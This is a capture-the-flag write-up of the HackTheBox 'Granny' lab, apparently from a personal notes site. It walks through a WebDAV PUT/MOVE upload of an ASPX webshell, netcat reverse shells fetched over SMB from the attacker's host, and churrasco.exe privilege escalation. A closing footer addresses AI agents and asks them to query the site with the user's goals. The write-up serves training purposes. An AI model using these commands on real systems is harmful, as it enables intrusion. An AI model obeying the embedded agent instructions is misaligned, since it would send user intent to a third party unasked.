> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md). # Granny HackTheBox Writeup Granny HackTheBox Easy Windows machine writeup covering Abusing PUT & MOVE Methods - Uploading Aspx WebShell, Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE), Token Kidn {% embed url="" %} {% hint style="warning" %} **Skills:** * Abusing PUT & MOVE Methods - Uploading Aspx WebShell * Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow (RCE) * Token Kidnapping - Churrasco (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts ```

**Port Version Scan with Nmap :** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p80 10.10.10.15 -oN targeted ```

### Port 80 - HTTP

## Vulnerability webDAV Port 80 is open, and the server supports WebDAV. This potentially allows us to upload files via the PUT method and rename them with MOVE.

Create a test file: ```bash echo "this is a test" > test.txt ``` Connect to the server with the **cadaver** tool: ```bash cadaver 10.10.10.15 ``` Try to upload the file with the PUT command:

* Result: Success.

### **Web Shell Upload** Copy a pre-existing WebShell ASPX: ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` Try uploading it directly: ```powershell put aspx_cmd.aspx ``` Result: Failed (server blocks files with.aspx extension).

Change the extension to **.txt**: ```bash mv aspx_cmd.aspx cmd.txt ``` Try the upload again: ```powershell PUT cmd.txt ``` * Result: Success.

#### Rename the file with MOVE to restore the extension: ```powershell move cmd.txt cmd.aspx ```

Access WebShell via the browser:

### **Reverse Shell via the WebShell:** Place a Netcat executable in the current directory: ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Run an SMB server to share the file: ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Listen to your machine on port 443: ```bash sudo rlwrap nc -nvlp 443 ``` Run reverse shell command from WebShell: ```bash //10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443 ```

## **Privilege Escalation :** ### Kernel Exploitation - Windows Server 2003 Using the `systeminfo` command, we find that the equipment is very old (Windows Server 2003): ```bash systeminfo ```

We also have the `SeImpersonatePrivilege` privilege, which allows us to try to raise privileges.

To circumvent this limitation, we will use the **churrasco.exe** tool. {% embed url="" %} /*/* Windows File Transfer (SMB)/*/* > We use **smbserver.py** to share a directory containing the exploit file 40627.exe This file is then copied to the target machine. ```bash smbserver.py share $(pwd) -smb2support ``` From the target machine, we copied the malicious file using the SMB command: ```bash copy //10.10.14.30/share/churrasco.exe churrasco.exe ``` We can then execute any command with this binary, for example: ```powershell ./churrasco.exe "whoami" ```

**Establish shell reverse** To establish a shell reverse, we listen to port 443: ```bash sudo rlwrap nc -nvlp 443 ``` We re-create an SMB server with **nc.exe**: ```bash smbserver.py share $(pwd) -smb2support ``` Finally, we execute the reverse shell with the following command: ```bash ./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443" ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.